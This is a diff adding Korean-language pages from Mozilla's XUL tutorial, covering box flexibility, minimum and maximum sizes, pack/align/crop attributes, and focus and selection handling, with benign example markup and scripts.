+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_2.xul">View</a></p>
+
+<pre>&lt;window orient="horizontal"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;hbox&gt;
+  &lt;button label="Yes" flex="1"/&gt;
+  &lt;button label="No"/&gt;
+  &lt;button label="I really don't know one way or the other"/&gt;
+&lt;/hbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>이 창을 열면 처음에는 위에서 본 그림처럼 나타날 것입니다. 앞의 두 버튼은 너비가 기본값과 같을 것이고 세 번째 버튼은 글자가 더 많기 때문에 너비가 더 클 것입니다. 첫번째 버튼은 유연하도록 설정되었으며 세 버튼 모두 상자에 포함되어 있습니다. 상자의 너비는 세 버튼의 총 너비(그림에서는 약 430 픽셀)로 맞춰질 것입니다.</p>
+
+<p>만일 창의 크기를 늘리면 XUL은 빈 공간을 매꾸기 위해서 유연한 요소들이 있는지 검사합니다. 위 예제에서첫번째 버튼이 유연한 요소이지만, 창을 늘려도 버튼의 크기가 변하지 않을 것입니다. 이는 버튼을 포함하는 상자가 유연하지 않기 때문입니다. 유연하지 않은 요소는 사용 가능한 공간이 늘어나도 크기가 변하지 않으며 따라서 버튼도 더 커질 수가 없는 것입니다.</p>
+
+<p>상자도 유연 요소로 만들면 문제가 해결됩니다. 그리고 나서 창을 늘리면 빈 공간이 생기고 이 빈 공간을 채우기 위해 상자의 크기도 변경됩니다. 상자가 더 커지면 상자 내부에 빈 공간이 생기고 그러면 상자 내부의 유연 요소인 버튼이 늘어나 빈 공간을 채우게 됩니다. 이러한 과정은 중첩된 상자에 대해 반복되어 처리됩니다.</p>
+
+<h2 id=".EC.B5.9C.EC.86.8C_.ED.81.AC.EA.B8.B0.EC.99.80_.EC.B5.9C.EB.8C.80_.ED.81.AC.EA.B8.B0_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0" name=".EC.B5.9C.EC.86.8C_.ED.81.AC.EA.B8.B0.EC.99.80_.EC.B5.9C.EB.8C.80_.ED.81.AC.EA.B8.B0_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0">최소 크기와 최대 크기 지정하기</h2>
+
+<p>여러분은 어떤 요소가 유연하면서도 특정 크기보다는 더 커지지 않도록 크기를 제한해야 할 때도 있을 수 있습니다. 또 그 반대로 최소 크기를 지정하고 싶을 때도 있을 것입니다. 이러한 제한들은 다음의 네 가지 속성을 사용해서 설정할 수 있습니다.</p>
+
+<dl>
+ <dt><code id="a-minwidth"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/minwidth">minwidth</a></code> </dt>
+ <dd>요소의 최소 너비를 지정한다.</dd>
+ <dt><code id="a-minheight"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/minheight">minheight</a></code> </dt>
+ <dd>요소의 최소 높이를 지정한다.</dd>
+ <dt><code id="a-maxwidth"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/maxwidth">maxwidth</a></code> </dt>
+ <dd>요소의 최대 너비를 지정한다.</dd>
+ <dt><code id="a-maxheight"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/maxheight">maxheight</a></code> </dt>
+ <dd>요소의 최대 높이를 지정한다.</dd>
+</dl>
+
+<p>위의 모든 값은 픽셀로 계산됩니다. 그리고 위의 속성 대신 CSS의 <code>min-width</code>, <code>min-height</code>, <code>max-width</code>, <code>max-height</code>를 이용해도 됩니다.</p>
+
+<p>이 속성들은 유연한 요소에만 적용됩니다. 예를 들어 최대 높이를 지정한 유연한 버튼은 지정된 높이만큼만 늘어날 수 있습니다. 최대 높이까지 늘어난 버튼은 창의 크기를 늘려도 더 이상 늘어나지 않습니다. 이 버튼을 포함하는 상자에 최대 높이를 지정하지 않으면 상자는 버튼과 상관 없이 계속해서 늘어날 것입니다.</p>
+
+<p>만약 두 버튼이 동일하게 유연하다면, 두 버튼이 빈 공간을 똑같이 나누어 가질 것이다. 이 때 한 버튼에 최대 너비가 지정되어 있다면 남은 하나의 버튼이 남은 공간을 차지하게 됩니다.</p>
+
+<p>만약 상자에 최대 너비나 높이가 지정되어 있다면 상자 내의 요소들은 그 이상 커질 수가 없습니다. 마찬가지로 상자에 최소 너비나 높이가 지정되어 있으면 상자 내의 요소들은 그 이하로 줄어들 수가 없습니다.</p>
+
+<h5 id=".EB.84.88.EB.B9.84.EC.99.80_.EB.86.92.EC.9D.B4.EB.A5.BC_.EC.A7.80.EC.A0.95.ED.95.9C_.EC.98.88.EC.A0.9C.EB.93.A4" name=".EB.84.88.EB.B9.84.EC.99.80_.EB.86.92.EC.9D.B4.EB.A5.BC_.EC.A7.80.EC.A0.95.ED.95.9C_.EC.98.88.EC.A0.9C.EB.93.A4">너비와 높이를 지정한 예제들</h5>
+
+<pre>&lt;button label="1" style="width: 100px;"/&gt;
+&lt;button label="2" style="width: 100em; height: 10px;"/&gt;
+&lt;button label="3" flex="1" style="min-width: 50px;"/&gt;
+&lt;button label="4" flex="1" style="min-height: 2ex; max-width: 100px"/&gt;
+&lt;textbox flex="1" style="max-width: 10em;"/&gt;
+&lt;description style="max-width: 50px"&gt;This is some boring but simple
+wrapping text.&lt;/description&gt;
+</pre>
+
+<dl>
+ <dt>예제 1</dt>
+ <dd>첫 번째 버튼은 너비가 100픽셀(px는 픽셀을 의미)이 될 것입니다. 만약 단위를 입력하지 않으면 너비가 적용되지 않을 것입니다.</dd>
+ <dt>예제 2</dt>
+ <dd>두 번째 버튼은 높이가 10px, 너비가 100em(em은 사용하고 있는 글꼴의 한 글자 크기)으로 표시될 것입니다.</dd>
+ <dt>예제 3</dt>
+ <dd>세 번째 버튼은 유연한 요소이므로 버튼을 포함하는 상자의 크기에 따라 크기가 변경될 것입니다. 하지만 이 버튼은 50px 이하로는 줄어들지 않을 것입니다. 이 때는 다른 유연한 요소들이 유동비(flex값의 비율)와 상관 없이 남은 공간을 채울 것입니다.</dd>
+ <dt>예제 4</dt>
+ <dd>네 번째 버튼은 유연하지만 높이가 2ex(ex는 사용하고 있는 글꼴의 x의 크기) 이하로 줄어들지 않고, 100px 이상으로 늘어나지도 않을 것입니다.</dd>
+ <dt>예제 5</dt>
+ <dd>글상자는 유연하지만 크기가 10em 이상으로 늘어나지 않을 것입니다. 글자와 관련된 크기를 정할 때는 주로 em을 사용합니다. 글꼴이 변경되면서 글자의 크기가 변할 수 있지만 글상자의 크기를 em으로 지정하면 언제나 글꼴에 맞추어서 크기가 정해지기 때문에 매우 유용합니다.</dd>
+ <dt>예제 6</dt>
+ <dd><code><code><a href="/ko/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code> 요소의 최대 너비가 50픽셀로 지정되어 있습니다. 글자가 50픽셀을 넘으면 나머지 글자는 다음 줄에 표시될 것입니다.</dd>
+</dl>
+
+<div class="highlight">
+<h5 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.B0.BD" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.B0.BD">우리의 파일 찾기 대화창</h5>
+
+<p>위에서 본 스타일들 중 몇 가지를 파일 찾기 대화창에 추가해 보도록 하겠습니다. 우리는 글상자의 크기가 창의 크기에 맞추어 변하도록 만들어 볼 것입니다.</p>
+
+<pre>&lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+</pre>
+
+<div class="float-right"><img alt="Image:boxstyle1.png"></div>
+
+<p>위에서 글상자를 유연하게 만들었습니다. 이제 사용자가 대화창의 크기를 변경하면 글상자도 함께 늘어날 것입니다. 이는 사용자가 긴 문자열을 입력하고자 할 때 유용합니다. 또 최소 너비가 15em이기 때문에 글상자는 항상 적어도 15글자를 표시할 수 있게 되었습니다. 사용자가 창을 아주 작은 크기로 줄여도 글상자는 15em 이하로는 줄어들지 않을 것입니다. 이 때는 글상자가 마치 대화창의 경계를 벗어난 것처럼 그려질 것입니다. 그림에서와 같이 글상자가 창의 크기에 딱 맞추어져 있습니다.</p>
+</div>
+
+<h2 id=".EC.83.81.EC.9E.90_.EB.AC.B6.EA.B8.B0" name=".EC.83.81.EC.9E.90_.EB.AC.B6.EA.B8.B0">상자 묶기</h2>
+
+<p>유연한 상자가 두 개의 자녀 요소를 갖고 있는데, 둘 다 유연하지 않다면 어떻게 될까요? 아래의 예를 보겠습니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_3.xul">View</a></p>
+
+<pre>&lt;box flex="1"&gt;
+  &lt;button label="Happy"/&gt;
+  &lt;button label="Sad"/&gt;
+&lt;/box&gt;
+</pre>
+
+<p>창의 크기가 변경되면 상자의 크기도 이에 맞추어 변경됩니다. 하지만 두 개의 버튼은 크기가 고정되어 있기 때문에 변하지 않을 것입니다. 따라서 상자의 내부에 빈 공간이 생겨 창의 오른쪽 부분에 빈 공간이 생긴 것처럼 보이게 됩니다. 하지만 아마 여러분은 왼쪽에 빈 공간이 생기고, 창의 오른쪽으로 버튼이 정렬되게끔 하고 싶을 때도 있을 것입니다.</p>
+
+<p>상자 안에 여백(<code><code><a href="/ko/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code>)를 넣으면 되지만, 매번 그렇게 하는 것은 너무 성가실 것입니다. 더 좋은 방법은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code>의 <code><code id="a-pack"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/pack">pack</a></code></code> 속성을 이용하는 것입니다. 이 속성은 상자내의 자식 속성을 어떻게 포장 할지를 나타내는 속성입니다. 수평 상자에서는 자식 요소들의 수평 위치를 제어하는데 사용되며, 수직 정렬 상자에서는 수직 위치를 제어하는데 사용됩니다. 이 속성에 사용할 수 있는 값은 다음의 세 가지입니다.</p>
+
+<dl>
+ <dt>start </dt>
+ <dd>자식 요소를 수평 상자에서는 왼쪽에, 수직 상자에서는 위쪽에 위치시키며 이것이 기본값입니다.</dd>
+ <dt>center </dt>
+ <dd>자식 요소를 상자의 중앙에 위치시킵니다.</dd>
+ <dt>end </dt>
+ <dd>자식 요소를 수평 상자에서는 오른쪽에, 수직 상자에서는 아래쪽에 위치시킵니다.</dd>
+</dl>
+
+<p><code><code id="a-pack"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/pack">pack</a></code></code> 속성은 자식 요소가 아니라 자식 요소를 포함하는 상자에 적용해야 합니다.</p>
+
+<p>앞의 예제를 자식 요소들이 중앙에 오도록 하려면 다음과 같이 수정할 수 있습니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_4"><a id="%EC%98%88%EC%A0%9C_4"></a><strong>예제 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_4.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_4.xul">View</a></p>
+
+<pre>&lt;box flex="1" pack="center"&gt;
+  &lt;button label="Happy"/&gt;
+  &lt;button label="Sad"/&gt;
+&lt;/box&gt;
+</pre>
+
+<p>이제 창의 크기가 변경되면 버튼이 모두 가로 방향의 중앙에 위치합니다. 이를 앞의 예와 비교해 보세요.</p>
+
+<h2 id=".EC.83.81.EC.9E.90_.EC.A0.95.EB.A0.AC" name=".EC.83.81.EC.9E.90_.EC.A0.95.EB.A0.AC">상자 정렬</h2>
+
+<p>위의 Happy-Sad 예에서 창의 너비를 변경하면 상자의 너비도 함께 변경됩니다. 창의 높이를 변경하면 버튼의 높이도 변하는 것을 보실 것입니다. 이것은 다른 방향으로는 자동으로 크기 유연성이 지정되기 때문입니다.</p>
+
+<p>이러한 동작 방법은 <code><code id="a-align"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code></code> 속성을 이용하면 조정할 수 있습니다. <code><code id="a-align"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code></code> 속성은 수평 상자에서는 자식 요소의 수직 위치를, 수직 상자에서는 자식 요소의 수평 위치를 조정하는데 사용합니다. 사용할 수 있는 값은 <code><code id="a-pack"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/pack">pack</a></code></code>과 비슷합니다.</p>
+
+<dl>
+ <dt>start </dt>
+ <dd>자식 요소를 수평 상자의 윗부분에, 수직 상자의 왼쪽에 정렬합니다.</dd>
+ <dt>center </dt>
+ <dd>자식 요소를 상자의 중앙에 정렬합니다.</dd>
+ <dt>end </dt>
+ <dd>자식 요소를 수평 정렬 상자의 아래쪽에, 수직 정렬 상자의 오른쪽에 정렬합니다.</dd>
+ <dt>baseline </dt>
+ <dd>문자열이 위로 올라오도록 자식 요소를 정렬합니다. 이 속성은 수평 정렬 상자에만 적용됩니다.</dd>
+ <dt>stretch </dt>
+ <dd>이 속성의 기본값으로, 자식 요소들이 유연한 요소처럼 상자의 크기에 맞춰 늘어나도록 합니다. 단, 상자의 정렬 방향의 반대 방향에만 적용됩니다.</dd>
+</dl>
+
+<p><code><code id="a-pack"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/pack">pack</a></code></code> 속성과 마찬가지로 <code><code id="a-align"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code></code> 속성도 자식 요소가 아닌 자식 요소를 포함하는 상자에 적용해야 합니다.</p>
+
+<p>다음의 예제에서 첫 번째 상자는 <code><code id="a-align"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code></code> 속성이 지정되지 않았기 때문에 자식 요소들이 늘어나게 됩니다. 하지만 두 번째 상자는 <code><code id="a-align"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code></code> 속성에 따라 자식 요소들이 한 가운데에 정렬되는 것을 볼 수 있을 것입니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_5"><a id="%EC%98%88%EC%A0%9C_5"></a><strong>예제 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_5.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_5.xul">View</a></p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window id="yesno" title="Question" orient="horizontal"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+  &lt;hbox&gt;
+    &lt;button label="Yes"/&gt;
+    &lt;button label="No"/&gt;
+  &lt;/hbox&gt;
+  &lt;hbox align="center"&gt;
+    &lt;button label="Maybe"/&gt;
+    &lt;button label="Perhaps"/&gt;
+  &lt;/hbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<div class="float-right"><img alt="Image:boxstyle2-b.png"></div>
+
+<p>여러분은 pack과 align 속성 대신 style의 <code><a href="ko/CSS/-moz-box-pack">-moz-box-pack</a></code>과 <code><a href="ko/CSS/-moz-box-align">-moz-box-align</a></code>을 사용할 수 있습니다.</p>
+
+<div class="note">상자의 여러 가지 속성에 대해 직접 시험해 보시려면, <a class="external" href="http://developer.mozilla.org/samples/xultu/examples/aligner.xul">상자 정렬 예제</a>를 이용해 보시기 바랍니다.</div>
+
+<h2 id=".EB.AC.B8.EC.9E.90.EC.97.B4.EA.B3.BC_.EB.B2.84.ED.8A.BC_.EC.9E.90.EB.A5.B4.EA.B8.B0" name=".EB.AC.B8.EC.9E.90.EC.97.B4.EA.B3.BC_.EB.B2.84.ED.8A.BC_.EC.9E.90.EB.A5.B4.EA.B8.B0">문자열과 버튼 자르기</h2>
+
+<p>여러분은 아마 버튼의 최대 너비보다 긴 라벨을 가진 버튼 요소를 만들지도 모릅니다. 물론 문자열이 들어갈 만큼 버튼을 크게 만들면 되겠지만, 버튼(과 라벨을 가진 다른 요소)의 <code>crop</code> 속성을 이용하면 라벨이 너무 큰 경우 라벨이 잘려지는 방법을 제어할 수 있습니다.</p>
+
+<p>문자열이 잘리면 잘린 부분에 말줄임표(...)가 나타납니다. crop 속성에 사용할 수 있는 값은 아래의 네 가지입니다.</p>
+
+<dl>
+ <dt>start </dt>
+ <dd>문자열의 왼쪽이 잘립니다.</dd>
+ <dt>end </dt>
+ <dd>문자열의 오른쪽이 잘립니다.</dd>
+ <dt>center </dt>
+ <dd>문자열의 왼쪽과 오른쪽이 모두 잘립니다.</dd>
+ <dt>none </dt>
+ <dd>이 속성의 기본값으로 문자열이 잘리지 않습니다.</dd>
+</dl>
+
+<p>이 속성은 대화창이 어떤 크기에서든 사용할 수 있도록 만들 때 정말로 유용합니다. <code>crop</code> 속성은 <code>label</code> 속성을 갖는 요소들에서 사용할 수 있습니다. 아래의 예는 crop 속성의 사용법을 보여줍니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_6"><a id="%EC%98%88%EC%A0%9C_6"></a><strong>예제 6</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_6.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_6.xul">View</a></p>
+
+<div class="float-right"><img alt="Image:boxstyle2.png"></div>
+
+<pre>&lt;button label="Push Me Please!" crop="end" flex="1"/&gt;
+</pre>
+
+<p>창이 줄어들면 문자열의 오른쪽이 잘리는 것을 볼 수 있습니다.</p>
+
+<div class="highlight">
+<p><span id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"><a id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"></a><strong>지금까지의 파일 찾기 예제</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxstyle.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxstyle.xul">View</a></p>
+</div>
+
+<p>다음에는 지금까지 살펴본 상자 모델에 대한 요약과 함께 <a href="ko/XUL_Tutorial/Box_Model_Details">박스 모델에 대한 추가적인 세부 사항</a>에 대해 알아보겠습니다.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:The_Box_Model" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Box_Model_Details">다음  »</a></p>
+</div><p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/focus_and_selection/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/focus_and_selection/index.html
new file mode 100644
index 0000000000..c2cc18a638
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/focus_and_selection/index.html
@@ -0,0 +1,132 @@
+---
+title: Focus and Selection
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Focus_and_Selection
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Focus_and_Selection
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Keyboard_Shortcuts" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Commands">다음  »</a></p>
+</div><p></p>
+<p>본 단원에서는 요소의 포커스(focus)와 선택(selection)을 다루는 방법에 대해 알아보겠습니다.</p>
+<h3 id=".ED.8F.AC.EC.BB.A4.EC.8A.A4.EB.A5.BC_.EC.96.BB.EC.9D.80_.EC.9A.94.EC.86.8C" name=".ED.8F.AC.EC.BB.A4.EC.8A.A4.EB.A5.BC_.EC.96.BB.EC.9D.80_.EC.9A.94.EC.86.8C">포커스를 얻은 요소</h3>
+<p>포커스를 얻은 요소라는 것은 현재의 입력 이벤트를 받는 요소를 의미합니다. 만일 창에 세 개의 텍스트 상자가 있다면, 포커스를 가진 것이 사용자가 현재 텍스트를 입력할 수 있는 텍스트 상자가 됩니다. 창 별로 한번에 하나의 요소만이 포커스를 가질 수 있습니다.</p>
+<p>사용자는 마우스로 요소를 클릭하거나 Tab 키를 눌러서 포커스를 변경할 수 있습니다. Tab 키가 눌러지면, 다음 요소가 포커스를 받습니다. 이전 요소가 포서스를 받게 하려면 Shift와 Tab 키를 누르면 됩니다.</p>
+<h4 id=".ED.83.AD_.EC.88.9C.EC.84.9C_.EB.B0.94.EA.BE.B8.EA.B8.B0" name=".ED.83.AD_.EC.88.9C.EC.84.9C_.EB.B0.94.EA.BE.B8.EA.B8.B0">탭 순서 바꾸기</h4>
+<p>사용자가 Tab 키를 눌렀을 때 포커스를 받는 요소의 순서를 바꾸기 위해서는 요소에 <code><code id="a-tabindex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/tabindex">tabindex</a></code></code> 속성을 넣으면 됩니다. 이 속성은 숫자값으로 지정되어야 합니다. 사용자가 Tab을 누르면, 다음 번 <code>tabindex</code> 값을 가진 요소로 이동합니다. 이것은 요소의 인덱스값을 순서대로 지정해서 요소의 순서를 지정할 수 있다는 것을 의미합니다. 일반적으로는 <code><code id="a-tabindex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/tabindex">tabindex</a></code></code> 속성을 지정하지 않을 것입니다. 이럴 경우에는 Tab을 누르면 다음에 출력된 요소로 포커스가 이동할 것입니다. 여러분은 순서를 바꾸고 싶을 때만 탭 인덱스를 지정하면 됩니다. 예제는 다음과 같습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_1.xul">View</a></p>
+<pre>&lt;button label="Button 1" tabindex="2"/&gt;
+&lt;button label="Button 2" tabindex="1"/&gt;
+&lt;button label="Button 3" tabindex="3"/&gt;
+</pre>
+<h4 id="focus_.EC.9D.B4.EB.B2.A4.ED.8A.B8" name="focus_.EC.9D.B4.EB.B2.A4.ED.8A.B8">focus 이벤트</h4>
+<p><code>focus</code> 이벤트는 어떤 요소가 포커스를 받았을 때 반응하기 위해 사용됩니다. <code>blur</code> 이벤트는 요소에서 포커스가 벗어났을 때 반응하기 위해 사용됩니다. 여러분은 code&gt;<a href="ko/DOM/element.onfocus">onfocus</a>&lt;/code&gt;나 <code><a href="ko/DOM/element.onblur">onblur</a></code> 속성을 요소에 붙여 포커스의 변화에 반응할 수 있습니다. 이 속성들은 HTML에 있는 해당 속성과 아주 비슷합니다. 이 이벤트 핸들러들은 요소를 강조(highlight)하거나 상태바에 텍스트를 출력하고자 할 때 보통 사용됩니다. 다음 예제는 포커스 이벤트를 처리하는 함수를 적용한 것을 보여주고 있습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_2.xul">View</a></p>
+<pre>&lt;script&gt;
+
+function displayFocus(){
+  var elem=document.getElementById('sbar');
+  elem.setAttribute('value','Enter your phone number.');
+}
+
+&lt;/script&gt;
+
+&lt;textbox id="tbox1"/&gt;
+&lt;textbox id="tbox2" onfocus="displayFocus();"/&gt;
+&lt;description id="sbar" value=""/&gt;
+</pre>
+<p>예제에서 focus 이벤트가 발생하면 <code>displayFocus</code> 함수가 호출될 것입니다. 이 함수는 텍스트 라벨의 값을 변경합니다. 우리는 이 예제를 확장해서 blur 이벤트가 발생할 때 텍스트가 제거되도록 만들수도 있을 것입니다. 일반적으로 사용자가 요소를 선택함에 따라 인터페이스의 일부분을 변경하기 위해 focus와 blur 이벤트를 사용합니다. 예를 들어 여러분은 사용자가 필드에 값을 입력함에 따라 합계를 갱신하거나 값의 유효성을 검증하는데 focus 이벤트를 사용할 수 있습니다. focus나 blur 이벤트에서 alert 창을 띄우지 마세요. 이렇게 하는 것은 사용자를 혼란스럽게 만들며, 아주 나쁜 사용자 인터페이스 디자인입니다.</p>
+<p>또한 DOM 함수인 <code><a href="ko/DOM/element.addEventListener">addEventListener</a></code>를 사용해서 이벤트 핸들러를 동적으로 등록할 수 있습니다. 이 함수는 어떤 요소나 이벤트에도 사용할 수 있습니다. 여기에는 3개의 인자가 있는데 이들은 이벤트 유형, 이벤트가 발생했을 때 실행할 함수, 이벤트 캡쳐를 수행할지를 여부를 나타내는 불린값(boolean) 입니다.</p>
+<h4 id=".ED.98.84.EC.9E.AC_.ED.8F.AC.EC.BB.A4.EC.8A.A4.EB.A5.BC_.EA.B0.80.EC.A7.84_.EC.9A.94.EC.86.8C_.EA.B0.80.EC.A0.B8.EC.98.A4.EA.B8.B0" name=".ED.98.84.EC.9E.AC_.ED.8F.AC.EC.BB.A4.EC.8A.A4.EB.A5.BC_.EA.B0.80.EC.A7.84_.EC.9A.94.EC.86.8C_.EA.B0.80.EC.A0.B8.EC.98.A4.EA.B8.B0">현재 포커스를 가진 요소 가져오기</h4>
+<p>현재 포커스를 가진 요소는 명령 발송자(command dispatcher)라고 불리는 객체에 저장되며, 이 객체는 창에 하나만 존재합니다. 명령 발송자는 사용자가 인터페이스를 사용함에 따라 포커스를 가진 요소의 변화를 추적하는 역활을 수행합니다. 명령 발송자는 또 다른 역활도 수행하는데 이에 대해서는 <a href="ko/XUL_Tutorial/Commands">다음 단원</a>에서 자세히 알아 보겠습니다. 지금은 명령 발송자가 가진 기능들 중 포커스와 관련된 것들에 대해서만 알아보겠습니다.</p>
+<p>여러분은 <code>document</code>의 <code>commandDispatcher</code> 속성을 이용해서 창의 명령 발송자 객체를 얻을 수 있습니다. 이곳에서 발송자의 <code>focusedElement</code> 속성으로부터 포커스를 가진 요소를 얻을 수 있습니다( <code>document.commandDispatcher.focusedElement</code>).</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_3.xul">View</a></p>
+<pre>&lt;window id="focus-example" title="Focus Example"
+        onload="init();"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;script&gt;
+function init(){
+  addEventListener("focus",setFocusedElement,true);
+}
+
+function setFocusedElement(){
+  var focused = document.commandDispatcher.focusedElement;
+  document.getElementById("focused").value = focused.tagName;
+}
+&lt;/script&gt;
+
+&lt;hbox&gt;
+  &lt;label control="username" value="User Name:"/&gt;
+  &lt;textbox id="username"/&gt;
+&lt;/hbox&gt;
+
+&lt;button label="Hello"/&gt;
+&lt;checkbox label="Remember This Decision"/&gt;
+
+&lt;label id="focused" value="-No focus-"/&gt;
+
+&lt;/window&gt;
+</pre>
+<p>예제에서 창에 <code>focus</code> 이벤트 핸들러를 부착하였습니다. 우리는 캡처 이벤트 핸들러를 사용하려고 하기 때문에 <code><a href="ko/DOM/element.addEventListener">addEventListener</a></code> 메소드를 사용하였습니다. 이 메소드를 이용해 창에 캡처 이벤트 핸들러를 등록하고 <code>setFocusedElement</code> 메소드가 호출되도록 하였습니다. 이 메소드는 명령 발송자로부터 포커스를 가진 요소를 가져와서 이 요소의 태그 이름을 라벨에 출력하게 됩니다. 포커스를 가진 요소가 바뀌면, 라벨도 해당 요소의 태그 이름으로 변경됩니다.</p>
+<p>여기서 몇 가지 확인해야 할 점이 있습니다.</p>
+<ul>
+ <li>첫번째로, textbox에 포커스가 가면, 태그 이름이 우리의 예상과 달리 'textbox'가 아니라 'html:input'으로 출력됩니다. 이것은 XUL 텍스트 상자가 HTML input 위젯으로 구현되어 있기 때문이며, 따라서 focus 이벤트는 이 요소가 받게 됩니다.</li>
+ <li>두번째로, 텍스트 상자의 라벨을 클릭하면 포커스가 텍스트 상자로 갑니다. 이것은 라벨의 <code><code id="a-control"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/control">control</a></code></code> 속성이 텍스트 상자의 id를 가리키고 있기 때문입니다.</li>
+ <li>마지막으로, 태그 이름을 출력하는 라벨은 <code><code id="a-control"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/control">control</a></code></code> 속성이 없으며, 따라서 이를 클릭하더라도 포커스에 영향을 주지 않습니다. 포커스를 가질 수 있는 요소만이 포커스를 가질 수 있습니다.</li>
+</ul>
